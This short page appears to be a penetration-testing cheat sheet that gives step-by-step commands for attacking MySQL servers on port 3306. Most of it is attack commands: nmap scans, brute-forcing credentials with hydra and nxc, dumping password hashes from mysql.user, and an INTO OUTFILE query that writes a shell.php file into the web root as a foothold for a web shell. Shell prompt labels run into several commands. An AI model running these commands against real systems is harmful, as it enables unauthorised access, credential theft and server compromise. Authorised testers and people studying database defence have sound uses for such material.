Back to Port Tracker
🐬
MySQL
Port 3306Database
MySQL/MariaDB — test weak creds, dump databases, and hunt for FILE privilege.
// methodology checklist
Step-by-step commands
1
Service scan
howlsec@kali·shell
nmap -p3306 -sV -sC $thowlsec@kali·shell
nmap -p3306 --script mysql-info,mysql-empty-password $t2
Credential test / brute
howlsec@kali·shell
mysql -h $t -u root -phowlsec@kali·shell
hydra -L users.txt -P pass.txt mysql://$thowlsec@kali·shell
nxc mysql $t -u root -p passwords.txt3
Post-auth enumeration
Once logged in, enumerate and look for FILE privilege.
howlsec@kali·shell
SELECT user,authentication_string FROM mysql.user;howlsec@kali·shell
SHOW databases;howlsec@kali·shell
USE <db>; SHOW tables;howlsec@kali·shell
SELECT * FROM <table> INTO OUTFILE '/var/www/html/shell.php';